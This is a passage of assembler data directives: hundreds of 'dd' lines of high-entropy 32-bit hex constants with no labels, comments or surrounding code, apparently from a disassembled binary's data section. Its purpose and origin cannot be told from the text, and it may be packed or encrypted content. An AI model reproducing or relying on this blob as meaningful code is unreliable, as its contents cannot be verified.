dd 0F18EE9F5h, 5E0D9A2h, 0FE3B75A3h, 0BEDA1940h, 28395B3Ah
dd 0DF1FEB6Ch, 4600FB05h, 0E906E6C1h, 0D583687Ah, 0FF550397h
dd 5DAB2474h, 1204794Ch, 14202C6h, 0A05FEBE9h, 2831F691h
dd 0EFCCCEB3h, 55E7C33Dh, 0C7F2F729h, 0C2E088Ah, 66344D74h
dd 12168B48h, 8F4A5450h, 0E986A658h, 1C245AD6h, 0C381D7F7h
dd 43B54A86h, 0A87290E9h, 5F20701Ah, 6F0D004Ch, 0C1448B12h
dd 50004E0h, 57EB9EE6h, 558C629h, 0FEE9F789h, 0D08555D8h
dd 0A18D910h, 0A11BB353h, 8114F710h, 898CA0ECh, 0FBF8B8F6h
dd 47211CC0h, 603FE91Ch, 0C15A2052h, 550008E7h, 0EF046BBDh
dd 67ED812Bh, 91290D6Ch, 502AE95Dh, 7965B9F7h, 0F759B50Fh
dd 0EFBB86D9h, 0C0DDEE58h, 3D919038h, 5DFC296Ch, 1CE80173h
dd 47FD3C54h, 0B930407Ch, 5DEE9D55h, 2BF07A21h, 9AA05E4h
dd 9835452h, 19007A8Ch, 8EFC059h, 48DBF780h, 1906AC52h
dd 228F92E9h, 66776812h, 452A1A45h, 37558054h, 2E2AA26Ch
dd 0E7895701h, 0F1205650h, 0B71030Dh, 0EE95115h, 0D023D1ACh
dd 496D2192h, 0F0732050h, 1AAD3E40h, 0C5177D68h, 4550628Dh
dd 585B3113h, 0D83001F8h, 5129A832h, 0F7121Ah, 0EFC15FFFh
dd 8A25706h, 1BDF3F80h, 56001D74h, 5B8AB850h, 6D1075Ch
dd 0B1E948E0h, 0BAAC5CD6h, 92E8213Eh, 0CA5543A2h, 0E74D7A6Fh
dd 0D4247E21h, 0C7817520h, 6CA61F92h, 9A6739ECh, 0C8F84870h
dd 4C7BE557h, 0AA1076C3h, 0F74A0F33h, 226109D2h, 925F5407h
dd 5706117Ch, 5F22BE22h, 90D938CCh, 81E20ED1h, 0C09EFCC2h
dd 74EB2DDEh, 1141577h, 7E0705D0h, 8B502C30h, 90565DE8h
dd 64910954h, 898016D6h, 7AE40239h, 7CE80CC1h, 0EDC922C1h
dd 9A63E9ECh, 14332639h, 0BA0C6C48h, 9334D5A6h, 0E313B11Fh
dd 507F2611h, 7E60EFBBh, 280EB20Eh, 5A6605D3h, 18C8C380h
dd 565B3DC5h, 114077A2h, 0E8DDE112h, 0B3F38180h, 209D542h
dd 685BD801h, 4497784h, 0E947202Ch, 127B4C32h, 180B6059h
dd 4CF492DAh, 80B4AFC6h, 0B1B276F9h, 0EE01097Ch, 2B883F44h
dd 8A31CE01h, 4E590800h, 54A626E9h, 35BB8012h, 21091F6Fh
dd 524ADD48h, 526B6Eh, 3105D580h, 6043B8CDh, 0E1C1368Ch
dd 81E24108h, 300302ECh, 0C8895187h, 58F59F59h, 426D3487h
dd 1DD9A90Dh, 22923B62h, 0C84268BFh, 4CBE839Bh, 86410C9h
dd 0D61DDCD0h, 0E3D02820h, 20347AB5h, 5C4D7426h, 228C4569h
dd 8B08D275h, 0CA290909h, 2E753201h, 0E9888E4h, 0BF22008h
dd 348558B6h, 0BBB5880h, 0E91374B3h, 1567E70Ch, 5212DD93h
dd 913E234h, 7054264Ah, 32CC681Ah, 2756A81h, 2E6334F1h
dd 6B1F79B0h, 5F43F13Ch, 7E5C0DE9h, 3DACB955h, 470F4197h
dd 82C3C61Eh, 0BFE64220h, 98D35958h, 0B3585476h, 0E0080892h
dd 0C6F5010Ah, 74388002h, 0D2620Ch, 0E94903E2h, 1501990Bh
dd 0FC121EC2h, 0DA774727h, 0D283835Bh, 0EB804C02h, 0C15066EDh
dd 0D1927B79h, 0F8C114E2h, 77E6C2C0h, 13C6B0Bh, 8A172EAh
dd 753A8C5Dh, 0FFC65F47h, 395286C8h, 18747E58h, 870A3168h
dd 0BF80392Ch, 4870F47Ah, 85055938h, 0C027801Dh, 0F45B726Dh
dd 8343223Bh, 9D0ACFC3h, 81A2C7Dh, 1600202h, 0B7C05BDFh
dd 6B0657DCh, 5802E930h, 5BC355ABh, 0F4041B59h, 3190AE25h
dd 202439Dh, 453FB97Bh, 2B50BD0Ah, 8D5FAC1h, 0C1C63132h
dd 0E2848170h, 97733A09h, 31EC9485h, 86331570h, 0C9845CC9h
dd 0F2E4D0F0h, 0A7093222h, 6D73111h, 0DE1AE855h, 49101399h
dd 3325109h, 0F965CEC0h, 0FD2415A4h, 91CA1B46h, 1EB0CA5Ah
dd 66C9A886h, 6134800Dh, 533E0C1Eh, 0ADDDBE8Dh, 26379FD8h
dd 1C0A0BCEh, 0D98E8996h, 0DC593F84h, 814A4A83h, 72820827h
dd 12C0442Ah, 48A55D3h, 131ECE87h, 0D1F7501h, 0A4ED0582h
dd 75B9A124h, 138F0158h, 4FAFF181h, 2C2E70A0h, 86202160h
dd 26C180D1h, 8C930E2h, 7E2403FAh, 9011B08h, 6704EB28h
dd 0C335C249h, 5CB9F5C0h, 2E77FF80h, 39309D1Ch, 9CAAD332h
dd 94CAFC41h, 18B357F0h, 0AD8F6BF5h, 0FC7F0FBBh, 3586CA31h
dd 875826DCh, 0C15C022Bh, 434605E6h, 5B0F9075h, 9A23B0D2h
dd 0A05248C8h, 2E08D050h, 28BEB407h, 606CADEh, 6ACC0DADh
dd 21CAC9B4h, 1DD444F9h, 0F6CF2A2Eh, 5142825Dh, 0CC900D6Eh
dd 0E961D694h, 0A02C7A05h, 0D6C00C93h, 0BB821CB1h, 2602B28Bh
dd 316D2033h, 0FB040D06h, 6E83F2A0h, 435896C0h, 287514C6h
dd 0DE011116h, 48084910h, 7A718F9Ah, 0FBE6AA1h, 55D30A33h
dd 1B49B109h, 31C5C75Ch, 4CAFEBD1h, 0BB18B033h, 0D9213F40h
dd 8D34028Ah, 0B768594Bh, 7F4EB66Eh, 6E3B780h, 0CE5016F2h
dd 0DA07B283h, 8003EAC0h, 3987E835h, 0C447C2F2h, 199F1C99h
dd 0DE310129h, 20F2015Bh, 5840236Ch, 0F8C27588h, 3D7E6204h
dd 660044D3h, 0E95DEB29h, 4FEE5030h, 0E90FF063h, 7464BF26h
dd 20063881h, 26D1686Bh, 10501763h, 401E19EEh, 0AB61D46Ch
dd 5A2DB1Ch, 0FD0CC484h, 2D54B2E9h, 95A1ED7h, 0CFC18CF8h
dd 0CD9153ECh, 746133Dh, 1775AB8Dh, 605F8F5h, 4D8990CBh
dd 8856E532h, 492E59F3h, 6DA3C760h, 28147831h, 5E00F12Ch
dd 0F4B8C209h, 23573124h, 150D0636h, 0CA663AE9h, 1EA40126h
dd 299AB183h, 7D8D6376h, 6FC91A26h, 3668716Ch, 26813D41h
dd 7266E7A0h, 280C1083h, 2C311B2Fh, 28064078h, 0BEFBCA67h
dd 28EAA062h, 188E5401h, 75A3E95Ah, 0CC4C085Bh, 0B3530E0Ch
dd 0B551A2B8h, 27636Ch, 3DB05016h, 0F404C8FEh, 404BE913h
dd 0DE57E289h, 28D1B0B3h, 81B7584Eh, 918DD345h, 82E1C8AAh
dd 0C0B60F34h, 710C7866h, 21224A68h, 74EDE914h, 6C622982h
dd 855A5DAEh, 33937ABAh, 7DEF425Ch, 601F257Fh, 6F00F133h
dd 3E31EF81h, 7829157Fh, 845E5C7h, 58896E84h, 49491766h
dd 52D40896h, 1E936616h, 85B5E9B3h, 30E9DDC0h, 0BDDEDEC7h
dd 9D2E0B16h, 0C200B741h, 21595674h, 0D15A13D5h, 0CD1E80EDh
dd 621D15DBh, 0C5C04D54h, 969C0D6Ch, 0E3F92EE9h, 407CA6CBh
dd 0C2FEBAB2h, 5C738072h, 882DF212h, 41D3C11Fh, 300266h
dd 0E3323AB8h, 2C702D5Fh, 28EA09F8h, 8082743Ah, 5C919A35h
dd 0AC7894Dh, 99E95758h, 700949A9h, 5348B19h, 48989744h
dd 0BB399CC9h, 38E3297Bh, 856880DAh, 5D0BD732h, 8BEB011Eh
dd 56402AE7h, 457E2F0Dh, 256BD5F8h, 0C3940798h, 1265FF5Ch
dd 0BC7C794h, 0DAA020FDh, 42F49811h, 5A0642C1h, 6311F0Dh
dd 0F24146DAh, 4CA590D2h, 0FBD1AE79h, 0AA64E91Dh, 0D0ED48A2h
dd 3C84E027h, 0AB69253h, 34C86801h, 0C5BD7650h, 2E22257Eh
dd 0E164D688h, 844FA5E9h, 9F2CAC0Ah, 9D68F82h, 8BB21B81h
dd 322DE838h, 0A6F783Bh, 705F001h, 2834A93Fh, 0E3895380h
dd 9E1395E9h, 4B68611Eh, 10697626h, 0B9017241h, 0AAA4D4E2h
dd 386A8181h, 0F1012AD1h, 8189A44h, 0CA12E96Bh, 0A8B68337h
dd 814740F2h, 5D0DE207h, 0D7B3090Fh, 0E7170280h, 53E0037Fh
dd 0BF01FC7Ah, 0E9C9DBB0h, 53492630h, 8950EB3Ch, 0D634185Dh
dd 7AC2563Ah, 6930502Eh, 8E4A0709h, 0FCD0728Fh, 533B6Bh
dd 59CF01CEh, 815FFA89h
dd 23E1EA78h, 2AE90D7Bh, 46921029h, 64E10003h, 10D7199h
dd 1273D34Ch, 75D6FD67h, 545634DEh, 556089F9h, 951C92A0h
dd 312C84D8h, 1918CEFAh, 9802EF5Fh, 3F117C24h, 4C27A168h
dd 4F467D09h, 9ACDA320h, 0E25A56D7h, 4863BE6Fh, 0A8017306h
dd 105B78CEh, 1CA0FA01h, 50510008h, 0AB2A1BB8h, 5736E917h
dd 6CBE9356h, 930D0633h, 0ACD3F739h, 86F7950h, 0C3551332h
dd 0D5A25DB3h, 0F4123A61h, 10D36380h, 876562D0h, 5294C1Ah
dd 9D59D117h, 63BAEC82h, 37C3039Ch, 0B5EF107Fh, 0F75E38E5h
dd 7E4EF62Eh, 9A7E46Fh, 6A4888E3h, 73454C9Fh, 0D777091Ah
dd 72A1E49h, 0E5D0CDFEh, 28C3C570h, 45918E8h, 0E6E90A30h
dd 81C54859h, 2DE20247h, 0D4C665F4h, 0A43E3086h, 0A8098314h
dd 32211278h, 5C360528h, 681A827Eh, 0E9139AC4h, 0DE9C7FB6h
dd 0AE83FC1h, 0A9C5212Eh, 0B1666BC5h, 500254A1h, 380AE40Ch
dd 500A224Fh, 590608EEh, 3C7963E9h, 0F716CA29h, 426806D2h
dd 9792BCE6h, 0D36986F0h, 40C03310h, 40FA00Dh, 2EE9C8BEh
dd 0E790D0EBh, 434F6068h, 7F550B33h, 9AFB4855h, 7668F300h
dd 0DE012B83h, 801BE92Dh, 5709599Eh, 535A041Ch, 0CD6AB168h
dd 0EABBE471h, 4C576F05h, 16B0E5E9h, 4F293F5Ch, 0E7685984h
dd 56A8CC52h, 5160ADBCh, 9D46855h, 5D48E752h, 917C7F84h
dd 2804C7DBh, 15C16F0h, 685EEF20h, 2E999A4Dh, 0A59A73E9h
dd 0B707FEB2h, 0B04034DAh, 0FCE40227h, 0E3875E64h, 625BF1A7h
dd 0CDD25CD2h, 1C09064Eh, 0DF63804Fh, 5C444A4Bh, 12050B47h
dd 0C0FCF924h, 29595F21h, 7EE9D816h, 46B80440h, 244C0C34h
dd 138D0F7h, 9CF747Fh, 55AE029h, 2D014F99h, 0AA245717h
dd 10314A81h, 6CFAE958h, 0FCBD052Eh, 0AE05D13Bh, 59000CE2h
dd 4AEB19B0h, 9ADBF855h, 7C2903F5h, 5B5F0824h, 2CC407D9h
dd 70342C6Bh, 6A03764Ah, 11A0C17h, 0DB1B530Ch, 0FBC2010Ah
dd 0E9080595h, 9748A127h, 35423960h, 4006EEC1h, 3F7CB25Fh
dd 0BC152703h, 0D939AB51h, 7C59CE18h, 0DFC63A8Bh, 49D066E2h
dd 655B0C13h, 148DA337h, 0C3F8EF83h, 501CF5E9h, 0E3FD0A18h
dd 0D1800928h, 14BD55E6h, 71CAA00h, 2D5DEE31h, 0AB5E3E16h
dd 74191D9h, 805FF660h, 0E6788956h, 0BA4EDF2Dh, 0C1E48981h
dd 34BE5A2Fh, 0F651F564h, 1F9E105Eh, 184FDA50h, 0C03AE64h
dd 0A909180Eh, 45C60175h, 88B62011h, 80467322h, 887DD5F6h
dd 0C7699BF2h, 0F4AAACE1h, 722DE7BCh, 0F846850h, 41612047h
dd 0D2D758C4h, 16540C06h, 5920B342h, 52F71E14h, 7AF5A756h
dd 95622B30h, 3D061DE5h, 0D0931E47h, 0D3FD9C7Bh, 0FC04144Eh
dd 2D0BC2E1h, 0F0177B83h, 0A7F538D1h, 17C9014h, 535D26EAh
dd 0D031162Ch, 0BF570695h, 0EF3E2AF2h, 5FF902FCh, 56646FE9h
dd 0FAD263E4h, 55D4E00h, 527B5515h, 2DD02801h, 0C339907h
dd 0F16F285Dh, 62084AB9h, 0B1510342h, 28EA8017h, 8225CA5Bh
dd 7130E586h, 42026A15h, 0E859C26Dh, 77631C4Dh, 0ACDCF73Fh
dd 255A492h, 1C5B1CB4h, 0E6706874h, 885360BAh, 0E92752D3h
dd 988B0897h, 2A722908h, 6908A21Dh, 45325BE4h, 9AEDE618h
dd 8314DAF7h, 1AB01C2h, 2E6D35A5h, 0D26CA0E9h, 4648680Ah
dd 0BB668340h, 0C1A04123h, 68F004EBh, 5272733Eh, 41283F8Ah
dd 0A8C1EED4h, 0FF581C2h, 45CD6EC5h, 0F260C784h, 99257880h
dd 0C2EA9335h, 266554A1h, 80C01CC9h, 80DDF603h, 302476F5h
dd 3710C1EFh, 17C58100h, 89467B4Ch, 0E480E6A2h, 50455294h
dd 3F60BFF0h, 2EA46828h, 24279872h, 0CC9E3D1h, 0C3777636h
dd 0A7CD024Ah, 49A37730h, 0CE135604h, 2978DD1Bh, 0AE16E2D9h
dd 79C80FE9h, 162AA988h, 0C0FB74C6h, 575D5477h, 4325684Bh
dd 505F4104h, 0F2C6D488h, 0E90B1C1Fh, 0EF37E494h, 0C83B6B44h
dd 3812A220h, 70F0D80h, 9E6197AAh, 0C5EC5450h, 94892D0h
dd 0E54D9DC7h, 2839AF82h, 0C0095E00h, 5852D0Fh, 0BCBAB900h
dd 5F0B8447h, 9A4C6268h, 0F79823B2h, 200B58D3h, 8B9DA20h
dd 24634208h, 800D08BFh, 21FB801h, 7870094Ch, 0E5253F08h
dd 400F7000h, 4E076F2Dh, 0C289B012h, 7B2EF3B2h, 15669D4Dh
dd 4310CB0Ch, 0CD800E0Fh, 4BED6772h, 0CA905CB5h, 3D41DC2Dh
dd 0A3267F3Fh, 31AD8050h, 72668D8h, 7C6F75B4h, 81526D00h
dd 240583E3h, 26E421Dh, 4ACAE906h, 75CF152h, 81007E9Dh
dd 513184F2h, 79D6897Ah, 1D69985Ah, 521CAC76h, 0C841C523h
dd 0C04D6A3Ah, 94044AAFh, 0BB0029CFh, 46999D1Bh, 1ADF312Dh
dd 51575CB3h, 962C3D31h, 3F3E0101h, 45205B6Eh, 88DA160Ah
dd 2E9608D4h, 34665D12h, 467430h, 0E281401Ch, 4F2707E8h
dd 0FBC43CC7h, 0D589BF11h, 5D0ECF82h, 2D5C6902h, 12388E08h
dd 58F407B9h, 0D52FB514h, 0DB11F207h, 60E59A70h, 0BE5DFC45h
dd 4B06E887h, 7151BC49h, 299D1048h, 0EB0381FBh, 4A60221Ah
dd 0E9F3C85Fh, 283BBC4Ch, 600AEEE1h, 56E2710Ch, 673D05BEh
dd 2C4EAE46h, 0D0ADE989h, 304876CCh, 0CF7D3F6Eh, 0F3256CC2h
dd 4FCAC16Ah, 2CF7C070h, 0B62F150h, 2904FE01h, 3BBAB8A6h
dd 69BF4859h, 54D5410Ch, 0A21042Bh, 0DC5512D3h, 0AA8A64D9h
dd 0F7716DC0h, 3426CBD6h, 0CDC39B48h, 60E549D0h, 7C5F1B2Ch
dd 1ABF3007h, 5EF7310Bh, 0E9F9210Bh, 5CA26110h, 0C42C9632h
dd 0C3298629h, 4DF40658h, 0BE14DB60h, 4883100Ah, 4F340317h
dd 0B3D385F1h, 0D1347E38h, 6FE61C78h, 20C4CD4Ah, 5700C53Ch
dd 81410387h, 3B4A71E1h, 0C9034B6Fh, 3EEF0BA1h, 0B423C1E0h
dd 1C0100Ah, 300995C8h, 0F4CC2377h, 6EEB98BAh, 318E9528h
dd 37E965B8h, 54B2F664h, 789ABCA8h, 5FA6DF40h, 0C6A0F879h
dd 0DD1D2AC6h, 298C13Ch, 0B246012h, 95E925A7h, 0A3002162h
dd 1BA6512Ah, 0E967FF6h, 69096804h, 952D4FF3h, 0C8021289h
dd 0BA00374Dh, 7AF45A54h, 69A3065h, 0D0F75814h, 2E220D07h
dd 0CB574A2Ah, 35007F67h, 0BA0605h, 0D868563Ch, 5E4A1153h
dd 6966E92Ch, 0E2CE8180h, 0EC1D6D67h, 2C2209F6h, 0CF806AB5h
dd 574A5BC3h, 0EDF22928h, 218C084Ah, 56249653h, 2257E92Fh
dd 2B41C0D9h, 85C5808Fh, 1A8920F4h, 7E7F6B02h, 0F75EF507h
dd 0EE24E9DDh, 0F84611F2h, 0FF69EF48h, 132D8C84h, 2B68307h
dd 0ED4DFAEDh, 6B992430h, 0D10F1357h, 10148A06h, 3DA2BF04h
dd 0A9832D97h, 10D05A6h, 94D7E9F8h, 806DA933h, 8D2A86C1h
dd 0C30CC131h, 316D5226h, 1A95FB3Ch, 14090C08h, 4C16C02h
dd 5380F5D9h, 0F2AE2BBh, 0A529029h, 0DC16BFCBh, 0CF843A8Ch
dd 0F8034F88h, 0FC962C2Fh, 0DC276AEh, 305A011Dh, 30E925D0h
dd 274ACDA4h, 0B90567CEh, 42D02AAh, 551980h, 4D49D4B8h
dd 40F87Eh, 0F74E5C26h, 239805D8h, 0E92FF104h, 0B88D2C54h
dd 8F4B5C28h, 9E937EFh, 324C5209h, 0E8137415h, 8CF61E44h
dd 6527E69Ch, 0EDAA013h, 3457055Ch, 0E8657C6Ah, 24010F1h
dd 0E9C82159h, 66B5689Eh, 24440781h, 772CA502h, 16BD9155h
dd 0A172F632h, 61C17CF7h, 0C53020Eh, 0C8AE9BFAh, 8021CCE9h
dd 0EFE4D588h, 6BB4B2C4h, 0A23C42FDh, 3411F910h, 0EC56B35Eh
dd 55585B04h, 4A4EDA82h, 8169005Eh, 6D7F3h, 6851629Ah
dd 7A701EE5h, 0BC4D1B90h, 6B75529Bh, 6764488Eh, 0B850801Ch
dd 0C40B3600h, 79EF0D3Dh, 403A09FCh, 5510E0E9h, 2C488B54h
dd 6B76C413h, 99A2EEB8h
dd 52C1B0D8h, 4A443A4Ch, 68CAD542h, 2653F3F6h, 12155B5Dh
dd 0C1CDC470h, 7C61C107h, 4BA4D435h, 680F3185h, 592F80A5h
dd 325BDA89h, 5F80D001h, 0A0BC74D1h, 3C33254Dh, 0D53F3B90h
dd 0F9B09A97h, 96654927h, 63A11227h, 10A8A4C4h, 0B5C4A6C6h
dd 13A8B53Ch, 5BF40B17h, 5C0240A3h, 66B86812h, 78C98FCDh
dd 0C0D2F600h, 0A05E237h, 67F9ABC3h, 497142A1h, 0B8BEC814h
dd 0F821D297h, 0A56CBBC8h, 448452C9h, 0FA6A84Eh, 0C2D830ACh
dd 0FA6C7A68h, 0ECB11695h, 12DD1680h, 0DE58F469h, 0B2B05B76h
dd 0E6EF8107h, 819FA42Bh, 3055E9FAh, 0BDD8279Eh, 1AEC74CBh
dd 628373C1h, 0C5CBEDEh, 6A84129Bh, 16390452h, 0E971433Fh
dd 1B4B31C0h, 5CCAEDC2h, 32FF5032h, 0BC8B1090h, 0FF5549ABh
dd 13A12662h, 4104EB01h, 0EEC8D103h, 0E8BE8487h, 0CA23E942h
dd 53FB6ABAh, 0ACE98F38h, 9ECFFD79h, 0E4D25593h, 65A3CC53h
dd 0E7D7F50h, 1199D71h, 83810D6h, 0B7EDE918h, 1A9F02B8h
dd 20145270h, 5B03DE67h, 0D028C004h, 0C89A62Ch, 0C340E95Ah
dd 80B08320h, 0FB7B1B80h, 76485383h, 0DB82662Fh, 0C02BC067h
dd 0E752CC92h, 0E009389Dh, 36B05002h, 60FEBF0Ch, 80178A71h
dd 0E1ED72Dh, 208C1A0Bh, 35F1470h, 815AD329h, 2DA12CE3h
dd 0E50C8907h, 43350519h, 3C3290D0h, 490B9D2Bh, 0C955E56Ch
dd 2C833082h, 732B5F03h, 705E7C1h, 0BD26A012h, 4BCFF14Fh
dd 2006F92Dh, 59581485h, 22419E91h, 0EF015D77h, 0C553F5F4h
dd 80D1F71Ah, 0D3731286h, 0B80C0263h, 58A0B33Eh, 21921589h
dd 20FB959h, 0F22A4B66h, 5200D6BAh, 2D60EED4h, 5AB852D4h
dd 77C1013h, 4F8EE912h, 49C968E8h, 0B1D6672Eh, 0EADE89Fh
dd 0C10C15C4h, 64D69DFDh, 187AD43Ah, 315C1F93h, 0BA52C30Ch
dd 90012F2Ch, 884554C7h, 30567753h, 0B90E6F79h, 2B2D37D1h
dd 5A4CC202h, 0D2FE7113h, 3EF306DBh, 0EE0285D2h, 7DA81641h
dd 0AC07E15Dh, 262202F8h, 0A744F6E9h, 115852A2h, 9035FB72h
dd 34241AB9h, 8A4FED56h, 26510CC8h, 63BB897Dh, 6EDC1307h
dd 0FBA96865h, 80565284h, 9079C1Fh, 0CE48337Dh, 69C05A6Fh
dd 7B537B6h, 5AF528A6h, 0D1A8D453h, 70D3F72Ah, 3312966Ch
dd 12013CBBh, 0C78F43ADh, 8983092Fh, 0EED16D80h, 0C10CCE81h
dd 0C62500Ch, 0EF4907A6h, 0E7DEF768h, 75BE7F6h, 0BCC6E038h
dd 5C51F933h, 308920F6h, 28251F70h, 9D08B810h, 33B0462h
dd 0C205E9C1h, 57485AC9h, 0D1B0E589h, 0A258DF2Eh, 0B4B9C344h
dd 3FE38F24h, 20B8E796h, 9178D46Eh, 0DD896707h, 0C539315Bh
dd 1696267Ch, 0E14BC9FCh, 584C643Ch, 2C28316h, 91C4B8C7h
dd 0B902BFBCh, 16D70F7Bh, 0EC31D2F2h, 65041AC5h, 373143C9h
dd 2525D5F5h, 0E99C9F43h, 0C4310523h, 59C53F7Ch, 0C592B950h
dd 0BF8C324Fh, 0CAB10051h, 0DAF692B2h, 158C280h, 99C74A70h
dd 261478D6h, 44F1300Eh, 0F130E850h, 958546E9h, 0B85AD701h
dd 94EF0E88h, 5E516441h, 41F5A2A0h, 7464406Ch, 7D4AD610h
dd 34C782C0h, 982FF25Bh, 64E34h, 98FB2B6Ah, 1F9E2917h
dd 68E801C0h, 521359BFh, 206E5480h, 664DE909h, 4025C2h
dd 0CC435F5Fh, 72350B15h, 0FF8017A8h, 6ABBE9C7h, 348290BEh
dd 4231811Ah, 890A4A0Dh, 260D8236h, 54304215h, 7C05627Dh
dd 30797FE1h, 4B75E23Eh, 8E048097h, 606EFC1Dh, 3DBDE653h
dd 22ED17E8h, 95FC211h, 91D47DEh, 0C8D3F675h, 52E6E22Dh
dd 8F85CFF1h, 2637B292h, 5C921957h, 1754D754h, 0AE1F7758h
dd 9444DBCBh, 0EA8327FDh, 0E9251DC4h, 30D960CBh, 9001F254h
dd 735A489h, 0A660E3C9h, 65D8B23Dh, 80E1FF54h, 3EB0EBh
dd 0E9DAB19Ch, 13AC23C5h, 0EDB687F6h, 485F3317h, 41A5C66Eh
dd 3CC0C5ABh, 104C5ED1h, 528B579Eh, 4420CD44h, 0DDF62E53h
dd 971E2C34h, 0FC1C7466h, 57B044B5h, 944336B7h, 30A5AC4Fh
dd 0C494EA1Dh, 4349F225h, 26809D50h, 5EA170CAh, 33B44479h
dd 7C010648h, 3A23949Ah, 0BA506A05h, 28080114h, 0E1436E21h
dd 0D9EE0344h, 1A6066DDh, 0BF3013F5h, 82FB05Bh, 0DC9BE916h
dd 16B60531h, 68506480h, 53387B2Ch, 0D8055802h, 41ACC784h
dd 406ACBABh, 3ED81ECh, 6C7D4217h, 33F9B6A2h, 26ADBCh
dd 21FCB8AFh, 530248CAh, 9F73234Dh, 7C198A31h, 0A4226042h
dd 14B2A12h, 9184DEBDh, 651BE971h, 3EF5401Fh, 7D0FCF19h
dd 0DFD7295Eh, 0EC785050h, 89E75EF4h, 6D694D49h, 0CD2DE6h
dd 7E1BBFB2h, 0FF21487Dh, 773AE707h, 5803984h, 2004761Ah
dd 0AFB0123h, 9790FCE9h, 0D069A25Eh, 4FC5C0F7h, 76690323h
dd 394A201h, 0DAE95808h, 457D930h, 0C3B55159h, 0D590DD8Dh
dd 5BBE5CE9h, 0EDBE794h, 1FA51DF9h, 0A90DF64Ah, 8A546581h
dd 84EF5570h, 0B688EB0h, 440B1CDCh, 28C2C880h, 0BB04F4E3h
dd 148BD389h, 0E90AABCBh, 9DACEB5Eh, 0F13083C9h, 0E1E14966h
dd 0BD1881B5h, 0DB408E3h, 9F2D1E58h, 2C89F938h, 1204AB9Dh
dd 0D0CA0224h, 0C4DE92FBh, 1D2940D6h, 13B31BD3h, 5B7F317Bh
dd 967BA1D1h, 0ACC4F1A9h, 52A25298h, 58290A6Dh, 1A5E08F3h
dd 0F3835A0Eh, 3C8180D4h, 0E80552A1h, 0BBC95E63h, 8CBE0894h
dd 35077C9h, 837298BDh, 0A74CD9EDh, 575A3884h, 0EF5CC9F4h
dd 6BD12E5Bh, 0F0B96204h, 5258515Ah, 82125A0Fh, 685B3370h
dd 303BED63h, 2459875h, 0CD814B00h, 168A55D9h, 0ED642DE9h
dd 0FCF7FBE9h, 391FA685h, 0B97FB89h, 265FB27h, 59C67C04h
dd 0C3A7E0ECh, 993B678Eh, 5257EE54h, 3178DF21h, 0B48A298Dh
dd 6D133F1Ah, 1F615801h, 21003B50h, 2A0C67E4h, 845EF301h
dd 6EAB83E8h, 1A8E3958h, 0D0DD45B7h, 2DD87ADCh, 0C81CD797h
dd 2B9AE3FCh, 0B12D665Eh, 6BB430B2h, 5F76D6D0h, 0D396D35h
dd 0E7191921h, 9ACA5038h, 1C770138h, 52CF68E9h, 874B5840h
dd 86A0D1E2h, 28D7C580h, 5BCFD7E7h, 80D0EF8Bh, 0FDE3F562h
dd 12D90AB3h, 56C08051h, 0B4149E68h, 108885C5h, 12CC649h
dd 4042086Bh, 0C83B6602h, 2ADC39Ch, 0F12C2D45h, 117EF7DAh
dd 0CC84C225h, 0DE9161Ah, 0C828E21Eh, 4DB59A14h, 0C007D504h
dd 0D33B6134h, 0A7210B25h, 5F6367E9h, 0ADC3B02Eh, 176F0628h
dd 305BDF31h, 1E79130Fh, 9AF2E01Fh, 0C025E172h, 265A670Ch
dd 0D0BA31DFh, 4FA3FD4Ch, 0E90BDF8Bh, 877919FAh, 0E7B7EB45h
dd 76837E55h, 455077F3h, 1455D3CAh, 0F1A2A058h, 92B88025h
dd 47F45813h, 1209D08h, 144186BDh, 4DF22070h, 0B3A8282h
dd 8F66011Dh, 105E6102h, 0C2895A8Fh, 80B6B09Dh, 8E44836Ah
dd 6540E165h, 7DEE0BBEh, 0AEE84F82h, 0DDB22988h, 889D016h
dd 3F7C0204h, 515638AAh, 5CE18937h, 4BA54A40h, 0CD7B37E9h
dd 565638Fh, 288F2B50h, 0F93168E6h, 2AA58778h, 8980743Bh
dd 258DFD73h, 0CE1E803Ch, 89C00C09h, 0EC4A1F2h, 8876B600h
dd 505AF313h, 0E93CCECAh, 865DC1CAh, 105168D1h, 0B40BE784h
dd 0C988665Dh, 0EFF10391h, 0A24D9F6h, 0A82ABFFEh, 0D88EC094h
dd 80C7CA5Bh, 0D3284759h, 530F164Ch, 41FE7511h, 2C2F57BBh
dd 0B0C02A29h, 8A0473E9h, 93F5A7F0h, 2E5E31DDh, 9210992h
dd 0AE4D4170h, 0C96879F8h, 3C005B10h, 26383B21h, 8E9E07F8h
dd 987B581Fh, 50EEC4Bh, 173F1881h, 42417835h, 0C1023A95h
dd 0B30845Bh, 0B24CA4Fh, 9EC0AFD2h, 0CA29171Fh, 0F020193Dh
dd 981F5877h, 6EC28113h
dd 895DA31Fh, 0FE18C095h, 0EF803BCFh, 2EF748F3h, 0C796F831h
dd 0F06803FDh, 9A611D14h, 64632ED6h, 5A510BC4h, 9753C18Bh
dd 0FA2AE942h, 46E54888h, 1133144Fh, 2C23B10h, 0A9112EB9h
dd 307E077h, 3C0BB20Ah, 6326C788h, 5778B054h, 0C6D2DE78h
dd 586F1EAAh, 52851803h, 82B02C27h, 584DE9B6h, 59179875h
dd 8E696BB1h, 64314D61h, 71406125h, 0B8DCFD29h, 88619349h
dd 0ED97CA8Fh, 1C61DC99h, 8B9859ADh, 0B34F0F66h, 233B554Dh
dd 1BD892Ah, 30C909C6h, 0F85B1FFAh, 1DC74A74h, 70F2E074h
dd 12054E78h, 28D8D95h, 0EFC56F8Ah, 33A46127h, 60B3103h
dd 0FAF4BCE9h, 81581CA6h, 637EC7EEh, 0BB94E22Fh, 927827C4h
dd 26628349h, 49077FB8h, 86DF897Fh, 0EE6D34E6h, 723D1E36h
dd 1548C97Ah, 869AE456h, 2C36548Fh, 0DF8047D1h, 0A3B46826h
dd 0B606E09Ah, 5AF12059h, 0ECD07320h, 3A286FA4h, 24C2C32Ah
dd 1FFF0833h, 0FFB5A997h, 70F09345h, 0D7B09DACh, 6881365Ch
dd 588A6430h, 4712BD4Ch, 79D5DD41h, 20615E8Fh, 525061DCh
dd 7429BAh, 7BB8270Eh, 3147193Fh, 0C43F0995h, 92E916BDh
dd 3D39027h, 484A6F6Ch, 487A9BA0h, 0BD8473FBh, 36021DDEh
dd 6BC2D586h, 6569C4Ch, 9F21CD39h, 1C5FFA27h, 255A480Fh
dd 58116293h, 37004889h, 59A5BD55h, 45390300h, 0FC68DDF7h
dd 266EA46Ah, 126C2218h, 0ED2BF009h, 0FDA65608h, 2934B4DFh
dd 5C77E49Bh, 0D46271BEh, 0E5C00044h, 0B0075005h, 7BB7532Bh
